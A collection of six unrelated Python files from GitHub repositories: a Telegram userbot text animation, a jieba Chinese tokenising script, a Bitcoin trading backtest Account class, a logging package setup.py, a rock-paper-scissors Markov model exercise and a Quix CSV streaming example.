{"seq_id":"8559129238","text":"# (c) @UniBorg and Lucaco FF apresenta\r\n# Original written by @UniBorg edit by @aidetico\r\n\r\nfrom telethon import events\r\nimport asyncio\r\nfrom collections import deque\r\n\r\n\r\n@borg.on(events.NewMessage(pattern=r\"\\.lucaco\", outgoing=True))\r\nasync def _(event):\r\n\tif event.fwd_from:\r\n\t\treturn\r\n\tdeq = deque(list(\"Lucaco Ehi Claro Rodando Free Fire!\"))\r\n\tfor _ in range(48):\r\n\t\tawait asyncio.sleep(0.1)\r\n\t\tawait event.edit(\"\".join(deq))\r\n\t\tdeq.rotate(1)\r\n    \r\n","repo_name":"aideticus/pintogramde","sub_path":"lucaco.py","file_name":"lucaco.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33804814284","text":"#encoding=utf-8\nfrom __future__ import print_function, unicode_literals\nimport sys\nsys.path.append(\"../\")\nimport jieba\njieba.load_userdict(\"userdict.txt\")\nimport jieba.posseg as pseg\n\nimport json\nwith open('comments.json','r', encoding='utf-8') as fi:\n    word = fi.read()\n    data = json.loads(word)\ntest_sent=''\nfor i in data:\n    test_sent += i[\"评论\"]\nwords = jieba.cut(test_sent)\nprint('\\n'.join(words))\nprint(\"=\"*40)\nresult = pseg.cut(test_sent)\nwith open('splitting.txt', 'a', encoding='UTF-8') as f:  # 将数据存入txt\n    for w in result:\n        f.write(w.word+ '\\n')\n","repo_name":"wind-wen/first","sub_path":"data_splitting.py","file_name":"data_splitting.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35320648030","text":"from MarketData2 import  MarketData2\nfrom numba import jit, f8, i8, b1, void\n\n\nclass Account:\n    def __init__(self, pl_kijun):\n        self.realized_pl = 0\n        self.unrealized_pl = 0\n        self.total_pl = 0\n        self.num_trade = 0\n        self.num_win = 0\n        self.win_rate = 0\n        self.total_min = 0\n        self.pl_per_min = 0\n        self.ave_pl = 0\n\n        self.__initialize_unexe_data()\n        self.__initialize_cancel_all_orders()\n        self.__initialize_holding_data()\n\n        self.price_tracing_order_target_size = 0\n        self.price_tracing_order_side = ''\n        self.price_tracing_order_dt = ''\n        self.price_tracing_order_i = 0\n        self.price_tracing_order_flg = False\n\n        self.base_margin_rate = 1.2\n        self.leverage = 15.0\n        self.slip_page = 500\n        self.force_loss_cut_rate = 0.5\n\n        self.base_pl_kijun = pl_kijun\n\n        self.realized_pl_log = {}\n        self.total_pl_log = {}\n        self.holding_side_log = {}\n        self.ave_holding_price_log = {}\n        self.ave_holding_size_log = {}\n        self.action_log = {}\n        self.i_log = []\n        self.ind_log = []\n        self.prediction_log = {}\n        self.initial_asset = 5000\n        self.asset = self.initial_asset\n        self.action_log_num = 0\n\n    #@jit(void(void))\n    def __initialize_unexe_data(self):\n        self.unexe_price = {}\n        self.unexe_size = {}\n        self.unexe_side = {}\n        self.unexe_i = {}\n        self.unexe_expire = {}\n        self.unexe_dt = {}\n        self.unexe_cancel = {}\n        self.unexe_info = {}\n        self.unexe_ifd = {} #True / False\n        self.unexe_ifd_plkijun = {} #if done pl kijun\n        self.index_num = 0\n\n\n    def __initialize_cancel_all_orders(self):\n        self.cancel_all_orders_flg = False\n        self.cancel_all_order_i = 0\n\n    def __initialize_holding_data(self):\n        self.ave_holding_price = 0\n        self.ave_holding_size = 0\n        self.last_entry_time = ''\n        self.last_entry_i = 0\n        self.holding_side = ''\n\n    def __remove_unexe_key(self, unexe_key):\n        self.unexe_price.pop(unexe_key)\n        self.unexe_size.pop(unexe_key)\n        self.unexe_side.pop(unexe_key)\n        self.unexe_i.pop(unexe_key)\n        self.unexe_expire.pop(unexe_key)\n        self.unexe_dt.pop(unexe_key)\n        self.unexe_cancel.pop(unexe_key)\n        self.unexe_info.pop(unexe_key)\n        self.unexe_ifd.pop(unexe_key)\n        self.unexe_ifd_plkijun.pop(unexe_key)\n\n    def move_to_next(self, prediction, pl_kijun, ind, i):\n        self.__check_execution(prediction, ind, i)\n        self.__check_cancel(ind, i)\n        self.__check_and_do_force_loss_cut(ind,i)\n        self.__calc_unrealized_pl(ind)\n        self.realized_pl_log[i] = self.realized_pl\n        self.total_pl = round(self.realized_pl + self.unrealized_pl)\n        self.total_pl_log[i] = self.total_pl\n        self.asset = self.initial_asset + self.total_pl\n        self.holding_side_log[i] = self.holding_side\n        self.ave_holding_size_log[i] = self.ave_holding_size\n        self.ave_holding_price_log[i] = self.ave_holding_price\n        self.action_log_num = 0\n        self.total_min += 1\n        self.i_log.append(i)\n        self.ind_log.append(ind)\n        self.prediction_log[i] = prediction\n        if len(self.unexe_i) == 0:\n            self.__initialize_unexe_data()\n        self.__add_action_log('Moved to next:'+'ohlc='+str(MarketData2.ohlc_bot.open[ind])+','+str(MarketData2.ohlc_bot.high[ind])+','+str(MarketData2.ohlc_bot.low[ind])+','+str(MarketData2.ohlc_bot.close[ind])+', posi='+self.holding_side+' @'+str(self.ave_holding_price)+', pl='+str(self.total_pl)+', num orders='+str(len(self.unexe_i))+', predict='+str(prediction),i)\n        if len(self.unexe_i) > 0:\n            key = list(self.unexe_i.keys())[0]\n            print('order side='+self.unexe_side[key])\n            print('order info='+self.unexe_info[key])\n            print('order price='+str(self.unexe_price[key]))\n            print('order IFD='+str(self.unexe_ifd[key]))\n            print('order IFD_kijun='+str(self.unexe_ifd_plkijun[key]))\n            print('posi side='+self.holding_side)\n            print('posi price='+str(self.ave_holding_price))\n            print('posi size='+str(self.ave_holding_size))\n\n\n    def last_day_operation(self, ind, i):\n        self.__check_execution(0, ind, i)\n        self.__check_cancel(ind,i)\n        self.__calc_unrealized_pl(ind)\n        self.realized_pl_log[i] = self.realized_pl\n        self.total_pl = self.realized_pl + self.unrealized_pl\n        self.total_pl_log[i] = self.total_pl\n        self.asset = self.initial_asset + self.total_pl\n        self.holding_side_log[i] = self.holding_side\n        self.ave_holding_size_log[i] = self.ave_holding_size\n        self.ave_holding_price_log[i] = self.ave_holding_price\n        self.win_rate = self.num_win / float(self.num_trade)\n        self.pl_per_min = self.total_pl / float(self.total_min)\n        self.i_log.append(i)\n        self.ind_log.append(ind)\n        self.prediction_log[i] = 0\n\n    def calc_opt_size(self, ind):\n        return round((self.asset * self.leverage) / (MarketData2.ohlc_bot.close[ind] * 1.0 * self.base_margin_rate),2)\n\n    def __check_and_do_force_loss_cut(self, ind, i):\n        if self.ave_holding_size > 0:\n            req_collateral = self.ave_holding_size * MarketData2.ohlc_bot.close[ind] / self.leverage\n            pl = (MarketData2.ohlc_bot.low[ind] - self.ave_holding_price) if self.holding_side == 'buy' else (self.ave_holding_price - MarketData2.ohlc_bot.high[ind])\n            pl = pl * self.ave_holding_size\n            margin_rate = (self.initial_asset+self.realized_pl+pl) / req_collateral\n            if margin_rate <= self.force_loss_cut_rate:\n                self.__add_action_log(\"Loss cut postion! margin_rate=\" +str(margin_rate),i)\n                self.__force_exit(ind, i)\n            else:\n                pass\n        else:\n            pass\n\n    def __add_action_log(self, log, i):\n        self.action_log[str(i)+'-'+str(self.action_log_num)] = log\n        self.action_log_num += 1\n        self.i_log.append(i)\n        orders = ''\n        for key in self.unexe_i.keys():\n            orders += 'order key='+str(key)+', i='+str(self.unexe_i[key]) + ', info='+str(self.unexe_info[key])+', expire='+str(self.unexe_expire[key]) +' , '\n        print('i='+str(i)+':'+log + ':'+orders)\n\n    def __calc_unrealized_pl(self, ind):\n        lastp = MarketData2.ohlc_bot.close[ind]\n        self.unrealized_pl = round((lastp - self.ave_holding_price) * self.ave_holding_size if self.holding_side == 'buy' else (self.ave_holding_price - lastp) * self.ave_holding_size)\n\n    def entry_order(self, side, price, size, info, expire, ifd, ifd_plkijun, ind, i):\n        if self.cancel_all_orders_flg == False:\n            self.unexe_side[self.index_num] = side\n            self.unexe_price[self.index_num] = price\n            self.unexe_size[self.index_num] = size\n            self.unexe_dt[self.index_num] = MarketData2.ohlc_bot.close[ind]\n            self.unexe_i[self.index_num] = i\n            self.unexe_expire[self.index_num] = expire\n            self.unexe_cancel[self.index_num] = False\n            self.unexe_info[self.index_num] = info\n            self.unexe_ifd[self.index_num] = ifd\n            self.unexe_ifd_plkijun[self.index_num] = ifd_plkijun\n            self.index_num += 1\n            self.__add_action_log(\"Entry Order for \" + side + \" @\" + str(price) + \" x \" + str(size)+' ifd='+str(ifd)+', pl kijun='+str(ifd_plkijun),i)\n\n    '''\n    should be used only when place pl order after execution of IFD\n    '''\n    def __immediate_entry(self, side,price, size, info, expire, ifd, ifd_plkijun, ind, i):\n        self.unexe_side[self.index_num] = side\n        self.unexe_price[self.index_num] = price\n        self.unexe_size[self.index_num] = size\n        self.unexe_dt[self.index_num] = MarketData2.ohlc_bot.close[ind]\n        self.unexe_i[self.index_num] = i\n        self.unexe_expire[self.index_num] = expire\n        self.unexe_cancel[self.index_num] = False\n        self.unexe_info[self.index_num] = info\n        self.unexe_ifd[self.index_num] = ifd\n        self.unexe_ifd_plkijun[self.index_num] = ifd_plkijun\n        self.index_num += 1\n        self.__add_action_log(\"Immediate Entry Order for \" + side + \" @\" + str(price) + \" x \" + str(size)+' ifd='+str(ifd)+', pl kijun='+str(ifd_plkijun),i)\n\n\n    def exit_all_positions(self, ind, i):\n        if self.ave_holding_size > 0:\n            self.__force_exit(ind, i)\n            self.__add_action_log(\"exit_all_positions\" ,i)\n\n    '''\n    次の分足のmiddle priceでexit\n    '''\n    def __force_exit(self, ind, i):\n        price = round((MarketData2.ohlc_bot.low[ind + 1] + MarketData2.ohlc_bot.high[ind + 1]) * 0.5)\n        pl = (price - self.ave_holding_price) * self.ave_holding_size if self.holding_side == 'buy' else (self.ave_holding_price - price) * self.ave_holding_size\n        self.num_trade += 1\n        if pl > 0:\n            self.num_win += 1\n        self.realized_pl += pl\n        self.__add_action_log(\"Force exited position. \" + self.holding_side + \" @\" + str(price) + \" x \" + str(self.ave_holding_size), i)\n        self.__initialize_holding_data()\n\n    def pl_order(self, pl_kijun, ind, i):\n        side = 'buy' if self.holding_side == 'sell' else 'sell'\n        price = self.ave_holding_price + pl_kijun if self.holding_side == 'buy' else self.ave_holding_price - pl_kijun\n        self.entry_order(side, price, self.ave_holding_size, 'pl order', 1440, False, 0, ind, i)\n        self.__add_action_log(\"Entry PL Order\" + side + \" @\" + str(price) + \" x \" + str(self.ave_holding_size),i)\n\n    def cancel_all_orders(self, ind, i):\n        if len(self.unexe_side) > 0 and self.cancel_all_orders_flg == False:\n            self.cancel_all_orders_flg = True\n            self.cancel_all_order_i = i\n            self.__add_action_log(\"Cancelling All Orders\",i)\n\n    def cancel_order(self, unexe_key, ind, i):\n        if unexe_key in self.unexe_side:\n            self.unexe_cancel[unexe_key] = True\n            self.__add_action_log(\"Cancelling Order, id=\"+str(unexe_key), i)\n\n\n    def __check_cancel(self, ind, i):\n        if self.cancel_all_orders_flg:\n            if self.cancel_all_order_i < i:\n                self.__execute_cancel_all_orders(i)\n        else:\n            cancelled_index = ''\n            for j in list(self.unexe_cancel.keys())[:]:\n                if self.unexe_cancel[j] and self.unexe_i[j] < i:\n                    self.__remove_unexe_key(j)\n                    cancelled_index += str(j) + ','\n            if cancelled_index != '':\n                self.__add_action_log(\"Cancelled orders #\" + cancelled_index,i)\n\n    def __execute_cancel(self, ind, i, unexe_key):\n        self.__remove_unexe_key(unexe_key)\n        self.__add_action_log(\"Cancelled order #\" + str(unexe_key), i)\n\n    def __execute_cancel_all_orders(self, i):\n        self.__initialize_unexe_data()\n        self.__initialize_cancel_all_orders()\n        self.__add_action_log(\"Cancelled all orders\",i)\n\n    def __check_execution(self, prediction, ind, i):\n        for j in list(self.unexe_side.keys())[:]:\n            if self.unexe_i[j] < i:\n                if self.unexe_side[j] == 'buy' and MarketData2.ohlc_bot.low[ind] <= self.unexe_price[j]:\n                    self.__execute(j, prediction, ind, i)\n                elif self.unexe_side[j] == 'sell' and MarketData2.ohlc_bot.high[ind] >= self.unexe_price[j]:\n                    self.__execute(j, prediction,ind, i)\n                elif self.unexe_expire[j] <= i - self.unexe_i[j]:\n                    self.__add_action_log(\"Expired order - \"+str(j), i)\n                    print(\"Expired order - \"+str(j))\n                    self.__remove_unexe_key(j)\n\n    #@jit(void(i8,i8,i8,i8))\n    def __execute(self, unexe_key, prediction, ind, i):\n        if self.holding_side == '': #in case of new entry execution\n            self.holding_side = self.unexe_side[unexe_key]\n            self.ave_holding_size = self.unexe_size[unexe_key]\n            self.ave_holding_price = self.unexe_price[unexe_key]\n            self.last_entry_i = i\n            self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n            self.__add_action_log(\"New Entry Executed \" + self.unexe_side[unexe_key] + \" @\" + str(self.unexe_price[unexe_key]) + \" x \" + str(self.unexe_size[unexe_key]), i)\n            if self.unexe_ifd[unexe_key]: #IFD pl order\n                self.__process_ifd_execution(unexe_key, ind, i)\n        else:\n            self.__process_normal_execution(unexe_key, prediction, ind, i)\n        if unexe_key in self.unexe_i.keys():\n            self.__remove_unexe_key(unexe_key)\n\n    '''\n    after execution of \n    execute pl order for multiple times in one minute.\n    then \n    '''\n    #@jit(void(i8,i8,i8))\n    def __process_ifd_execution(self, unexe_key, ind, i):\n        if (self.holding_side == 'buy' and MarketData2.ohlc_bot.high[ind] >= self.ave_holding_price +self.unexe_ifd_plkijun[unexe_key]) or \\\n                (self.holding_side == 'sell' and MarketData2.ohlc_bot.low[ind] <= self.ave_holding_price -self.unexe_ifd_plkijun[unexe_key]):  # when pl execute soon after new IFD entry\n            num = 0\n            pl = 0\n            pl_side = 'buy' if self.holding_side == 'sell' else 'buy'\n            if (MarketData2.ohlc_bot.high[ind] - self.ave_holding_price) / self.unexe_ifd_plkijun[unexe_key] <= 2.0 or \\\n                    (self.ave_holding_price - MarketData2.ohlc_bot.low[ind]) / self.unexe_ifd_plkijun[unexe_key] <= 2.0:  # pl exection and reentry\n                num = 1\n                pl = round(self.unexe_ifd_plkijun[unexe_key] * self.ave_holding_size)\n                self.ave_holding_price = self.ave_holding_price + self.unexe_ifd_plkijun[unexe_key] if \\\n                    self.unexe_side[unexe_key] == 'buy' else self.ave_holding_price - self.unexe_ifd_plkijun[unexe_key]\n                self.__immediate_entry(pl_side, \\\n                                       self.ave_holding_price+self.unexe_ifd_plkijun[unexe_key] if self.holding_side == 'buy' else self.ave_holding_price-self.unexe_ifd_plkijun[unexe_key], \\\n                                       self.unexe_size[unexe_key],'immediate pl order', 1440, False,0,ind,i)\n                self.__add_action_log(\"PL Executed and re-entry, num=\" + str(num) + ', total pl=' + str(pl) + ', new entry price=' + str(self.ave_holding_price), i)\n            else:  # multiple pl execution and rentry\n                if self.holding_side == 'buy':\n                    num = 1 + round(0.5 * ((MarketData2.ohlc_bot.high[ind] - self.ave_holding_price -self.unexe_ifd_plkijun[unexe_key]) / self.unexe_ifd_plkijun[unexe_key]))\n                    pl = self.unexe_ifd_plkijun[unexe_key] * self.ave_holding_size + \\\n                         round(0.5 * (MarketData2.ohlc_bot.high[ind] - self.ave_holding_price + self.unexe_ifd_plkijun[unexe_key]) * self.ave_holding_size)\n                    self.ave_holding_price = MarketData2.ohlc_bot.high[ind] + round(self.unexe_ifd_plkijun[unexe_key] * 0.5)\n                    self.__immediate_entry(pl_side, self.ave_holding_price + self.unexe_ifd_plkijun[unexe_key],self.unexe_size[unexe_key], 'immediate pl order', 1440, False,0, ind, i)\n                else:  # in case of sell\n                    num = 1 + round(0.5 * ((self.ave_holding_price - MarketData2.ohlc_bot.low[ind] - self.unexe_ifd_plkijun[unexe_key]) / self.unexe_ifd_plkijun[unexe_key]))\n                    pl = round(self.unexe_ifd_plkijun[unexe_key] * self.ave_holding_size + \\\n                         round(0.5 * (self.ave_holding_price - MarketData2.ohlc_bot.low[ind] + self.unexe_ifd_plkijun[unexe_key]) * self.ave_holding_size))\n                    self.ave_holding_price = MarketData2.ohlc_bot.low[ind] - round(self.unexe_ifd_plkijun[unexe_key] * 0.5)\n                    self.__immediate_entry(pl_side, self.ave_holding_price -self.unexe_ifd_plkijun[unexe_key], self.unexe_size[unexe_key], 'immediate pl order', 1440, False,0, ind, i)\n                self.__add_action_log(\"Multi PL Executed and re-entry, num=\" + str(num) + ', total pl=' + str(pl) + ', new entry price=' + str(self.ave_holding_price), i)\n            self.__remove_unexe_key(unexe_key)\n            self.last_entry_i = i\n            self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n            self.num_trade += num\n            self.realized_pl += pl\n            self.num_win += num\n        else:  # entry pl order when \n            side = 'buy' if self.holding_side == 'sell' else 'sell'\n            price = self.ave_holding_price + self.unexe_ifd_plkijun[unexe_key] if self.holding_side == 'buy' else self.ave_holding_price - self.unexe_ifd_plkijun[unexe_key]\n            self.__immediate_entry(side, price, self.ave_holding_size, 'pl order', 1440, False, 0, ind, i)\n            self.__add_action_log(\"Entry PL Order as a result of IFD\" + side + \" @\" + str(price) + \" x \" + str(self.ave_holding_size), i)\n\n    '''\n    pl execution for normal pl and IFD pl execution (exclude pl exe soon after new entry)\n    '''\n    #@jit(void(i8, i8, i8))\n    def __process_normal_pl_execution(self, unexe_key, prediction, ind, i):\n        if 'pl' in self.unexe_info[unexe_key]:\n            if (self.holding_side == 'buy' and self.unexe_side[unexe_key] == 'sell') or (self.holding_side == 'sell' and self.unexe_side[unexe_key] == 'buy'):\n                if self.ave_holding_size == self.unexe_size[unexe_key]:  # if all position can be closed by pl execution\n                    self.__update_cum_pl(ind, i, unexe_key, self.unexe_price[unexe_key], self.unexe_size[unexe_key])\n                    self.__add_action_log('Normal PL Executed. price=' + str(self.unexe_price[unexe_key]) + ', size=' + str(self.unexe_size[unexe_key]), i)\n                    self.__initialize_holding_data()\n                    if prediction == 1 or prediction == 2:\n                        side = 'buy' if prediction ==1 else 'sell'\n                        price = self.unexe_price[unexe_key]\n                        size = self.unexe_size[unexe_key]\n                        self.__immediate_entry(side,price,size,'new entry after normal pl execution',1,True, self.base_pl_kijun,ind,i)\n                        self.__add_action_log('Re-entry after normal PL Executed. price=' + str(price) + ', size=' + str(size), i)\n                    self.__remove_unexe_key(unexe_key)\n                elif self.ave_holding_size < self.unexe_size[unexe_key]:  # if pl order size if bigger than position size\n                    print('pl size is bigger than position size!')\n                    self.__add_action_log('pl size is bigger than position size!', i)\n                    self.ave_holding_size = self.unexe_size[unexe_key] - self.ave_holding_size\n                    self.holding_side = self.unexe_side[unexe_key]\n                    self.ave_holding_price = self.unexe_price[unexe_key]\n                    self.last_entry_i = i\n                    self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n                    self.__remove_unexe_key(unexe_key)\n                else:  # if pl size is smaller than position size\n                    print('pl size is smaller than position size!')\n                    self.__add_action_log('pl size is smaller than position size!', i)\n                    self.ave_holding_size -= self.unexe_size[unexe_key]\n                    self.last_entry_i = i\n                    self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n                    self.__update_cum_pl(ind, i, unexe_key, self.unexe_price[unexe_key], self.unexe_size[unexe_key])\n                    self.__remove_unexe_key(unexe_key)\n            else:\n                print('order side and holding side are same in normal pl order!')\n                self.__add_action_log('order side and holding side are same in normal pl order!', i)\n        else:\n            print('pl is not included in unexe_info but tried to process normal pl order! Do nothing.')\n            self.__add_action_log('pl is not included in info but tried to process normal pl order! Do nothing.', i)\n\n    #@jit(void(i8, i8, i8))\n    def __process_normal_execution(self, unexe_key, prediction, ind, i):\n        if 'pl' in self.unexe_info[unexe_key]:\n            self.__process_normal_pl_execution(unexe_key, prediction, ind, i)\n            #print('pl is in order info but tried to process normal execution! Do nothing.')\n            #self.__add_action_log('pl is in order info but tried to process normal execution! Do nothing.', i)\n        else:\n            if (self.holding_side == 'buy' and self.unexe_side[unexe_key] == 'sell') or (\n                    self.holding_side == 'sell' and self.unexe_side[unexe_key] == 'buy'):  # order side is not position side\n                if self.ave_holding_size == self.unexe_size[unexe_key]:\n                    self.__add_action_log('processed normal execution' + 'order side=' + self.unexe_side[\n                        unexe_key] + ', order size=' + str(self.unexe_size[unexe_key]), i)\n                    self.__update_cum_pl(ind, i, unexe_key, self.unexe_price[unexe_key], self.unexe_size[unexe_key])\n                    self.__initialize_holding_data()\n                elif self.ave_holding_size > self.unexe_size[unexe_key]:\n                    self.ave_holding_size -= self.unexe_size[unexe_key]\n                    self.__add_action_log('processed normal execution' + 'order side=' + self.unexe_side[\n                        unexe_key] + ', order size=' + str(self.unexe_size[unexe_key]), i)\n                    self.__update_cum_pl(ind, i, unexe_key, self.unexe_price[unexe_key], self.unexe_size[unexe_key])\n                elif self.ave_holding_size < self.unexe_size[unexe_key]:  # executed size if bigger than position size\n                    self.ave_holding_size = self.ave_holding_size - self.unexe_size[unexe_key]\n                    self.holding_side = self.unexe_side[unexe_key]\n                    self.ave_holding_price = self.unexe_price[unexe_key]\n                    self.__add_action_log('processed normal execution' + 'order side=' + self.unexe_side[\n                        unexe_key] + ', order size=' + str(self.unexe_size[unexe_key]), i)\n                    self.__update_cum_pl(ind, i, unexe_key, self.unexe_price[unexe_key], self.unexe_size[unexe_key])\n                    self.last_entry_i = i\n                    self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n            elif (self.holding_side == 'buy' and self.unexe_side[unexe_key] == 'buy') or (\n                    self.holding_side == 'sell' and self.unexe_side[unexe_key] == 'sell'):\n                self.ave_holding_price = ((self.ave_holding_price * self.ave_holding_size) + (\n                            self.unexe_price[unexe_key] * self.unexe_size[unexe_key])) / (\n                                                     self.ave_holding_size + self.unexe_size[unexe_key])\n                self.ave_holding_size += self.unexe_size[unexe_key]\n                self.last_entry_i = i\n                self.last_entry_time = MarketData2.ohlc_bot.dt[ind]\n            else:\n                print('__process_normal_execution - this function should be used after ')\n\n    def __update_cum_pl(self, ind, i, unexe_key, price, size):\n        pl = 0\n        if self.holding_side == 'buy':\n            if self.unexe_side[unexe_key] == 'sell':\n                pl = round((price - self.ave_holding_price) * size)\n        elif self.holding_side == 'sell':\n            if self.unexe_side[unexe_key] == 'buy':\n                pl = round((self.ave_holding_price - price) * size)\n        self.num_trade += 1\n        if pl > 0:\n            self.num_win += 1\n        self.realized_pl += pl\n\n\n\n","repo_name":"alunfes/btc-bot2","sub_path":"Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":23687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24704928812","text":"from setuptools import setup, find_packages\n\n\nLONGDOC=''' fly_log\n========\n\n最简单的日志，比 print 函数，多了时间与源文件信息。用于比较小的python项目，是适合的。\n\n特点\n========\n\n功能少，与print函数一致\n\n安装说明\n========\n\n代码对 Python 3 兼容\n\n全自动安装：``pip install fly-log`` \n \n'''\n\nsetup(\n    name = 'fly_log',\n    version = '0.1.22',\n    keywords='fly log debug',\n    description = 'a simple log for small project',\n    long_description=LONGDOC,\n    license = 'MIT License',\n    url = 'https://github.com/zero-space-man-community/fly_log',\n    author = 'flythinker',\n    author_email = 'flythinker@qq.com',\n    # packages = find_packages(),\n    packages=['fly_log'],\n    package_dir={'fly_log':'fly_log'},\n    include_package_data = True,\n    platforms = 'any',\n    install_requires = [],\n    classifiers=[\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: MIT License',\n        'Operating System :: OS Independent',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 3'\n      ],\n)","repo_name":"zero-space-man-community/fly_log","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42949727378","text":"import numpy as np\nimport pandas as pd\n\n\ndef winner(player_one, player_two):\n    return {\n        'scissors': lambda x: 1 if x == 'paper' else 0 if x == 'scissors' else -1,\n        'paper': lambda x: 1 if x == 'rock' else 0 if x == 'paper' else -1,\n        'rock': lambda x: 1 if x == 'scissors' else 0 if x == 'rock' else -1\n    }[player_one](player_two)\n\n\ndef alias(word):\n    return {\n        'R': 'rock',\n        'S': 'scissors',\n        'P': 'paper'\n    }[word]\n\n\ndef find_probability_of_all_changes(step, other_step, input_data):\n    second_player = input_data.loc[:, 1]  # Берем второй столбец и матрицы (ответы системы)\n    step_indexes_second_player = second_player[second_player == step].index.values\n    # Достаем значения индексов где степы совпадают\n    other_step_indexes_second_player = second_player[second_player == other_step].index.values\n    # Достаем так же значения индексов для степа куда хотим перейти\n    changes = 0\n    for i in step_indexes_second_player:\n        changes += (other_step_indexes_second_player == (i + 1)).sum()\n        # Находим все переходы из индекса (первого шага) в индекс + 1  (второго шага)\n    return changes / other_step_indexes_second_player.shape[0]\n    # Делим количество переходов из первого шага во второй на количество второго шага (в который хоти перейти)\n\n\ndef find_probability_of_winning(choice, win_result, input_data):\n    end_data = input_data[input_data.iloc[:, 1] == choice]\n    # Вытягиваем все строки из матрицы где второе значение является choice\n    probability = end_data[end_data.iloc[:, 2] == win_result].shape[0] / end_data.shape[0]\n    # Сравниваем все значения в столбце 3 с вин ресалтом и делим на количество строк в матрице\n    return probability\n\n\n# def main():\nstart = ['paper', 'scissors', 'rock']\nprobability = [1 / 3, 1 / 3, 1 / 3]\n\ndata = []\n\n# Рандомно генерим значения для игрока и системы\nwhile len(data) != 30:\n    first_player = np.random.choice(start, replace=True, p=probability)\n    second_player = np.random.choice(start, replace=True, p=probability)\n    result = winner(first_player, second_player)\n    data.append([first_player, second_player, result])\n\ninp_data = pd.DataFrame(data)\n\nstep_1 = ['paper', 'scissors', 'rock']\n\nstep_prob = [\n    [\n        find_probability_of_all_changes('paper', 'paper', inp_data),\n        find_probability_of_all_changes('scissors', 'paper', inp_data),\n        1 - (find_probability_of_all_changes('paper', 'paper', inp_data) + find_probability_of_all_changes(\n            'scissors',\n            'paper',\n            inp_data))\n    ],\n    [\n        find_probability_of_all_changes('paper', 'scissors', inp_data),\n        find_probability_of_all_changes('scissors', 'scissors', inp_data),\n        1 - (find_probability_of_all_changes('paper', 'scissors', inp_data) + find_probability_of_all_changes(\n            'scissors',\n            'scissors',\n            inp_data))\n    ],\n    [\n        find_probability_of_all_changes('paper', 'rock', inp_data),\n        find_probability_of_all_changes('scissors', 'rock', inp_data),\n        1 - (find_probability_of_all_changes('paper', 'rock', inp_data) + find_probability_of_all_changes(\n            'scissors',\n            'rock',\n            inp_data))\n    ]\n]\n\nmacierz_przejsc = np.array(step_prob)\n\nwinning = [-1, 0, 1]\n\nwinning_chance = [\n    [\n        find_probability_of_winning('paper', -1, inp_data),\n        find_probability_of_winning('paper', 0, inp_data),\n        find_probability_of_winning('paper', 1, inp_data)\n    ],\n    [\n        find_probability_of_winning('scissors', -1, inp_data),\n        find_probability_of_winning('scissors', 0, inp_data),\n        find_probability_of_winning('scissors', 1, inp_data)\n    ],\n    [\n        find_probability_of_winning('rock', -1, inp_data),\n        find_probability_of_winning('rock', 0, inp_data),\n        find_probability_of_winning('rock', 1, inp_data)\n    ]\n]\n\nmacierz_wyjsc = np.array(winning_chance)\n\ninitial = np.random.choice(start, replace=True)\nn = 20\nst = 1\n\nfor i in range(n):\n    if st:\n        state = initial\n        st = 0\n        print(state)\n    if state == alias(\"P\"):\n        activity = np.random.choice(winning, p=winning_chance[0])\n        print(state)\n        print(activity)\n        state = np.random.choice(step_1, p=step_prob[0])\n    if state == alias(\"S\"):\n        activity = np.random.choice(winning, p=winning_chance[1])\n        print(state)\n        print(activity)\n        state = np.random.choice(step_1, p=step_prob[1])\n    if state == alias(\"R\"):\n        activity = np.random.choice(winning, p=winning_chance[2])\n        print(state)\n        print(activity)\n        state = np.random.choice(step_1, p=step_prob[2])\nprint(\"\\n\")\n\n# if __name__ == '__main__':\n#     main()\n","repo_name":"anFatum/MIW_studies","sub_path":"Data/lab03.py","file_name":"lab03.py","file_ext":"py","file_size_in_byte":5168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6509045266","text":"# pip install quixstreams\nimport quixstreams as qx\nimport time\nimport datetime\nimport os\nimport pandas as pd\nfrom dotenv import load_dotenv\n\ndef main():\n    load_dotenv()\n    token = os.getenv(\"SDK_TOKEN\")\n\n    csv_file = \"users.csv\"\n    users = pd.read_csv(csv_file)\n\n    # Obtain client library token from portal\n    client = qx.QuixStreamingClient(token)\n\n    # Open a topic to publish data to\n    topic_producer = client.get_topic_producer(\"quickstart-users-streams\")\n    stream = topic_producer.create_stream()\n    stream.properties.name = \"Quickstart CSV using Streams\"\n    print('Writing CSV data to stream...')\n    stream.timeseries.publish(users)\n    print(\"Closing stream\")\n    stream.close()\n\nif __name__ == '__main__':\n    main()\n\n    \n","repo_name":"tbedford/code-snippets","sub_path":"python/csv_pandas_streams.py","file_name":"csv_pandas_streams.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
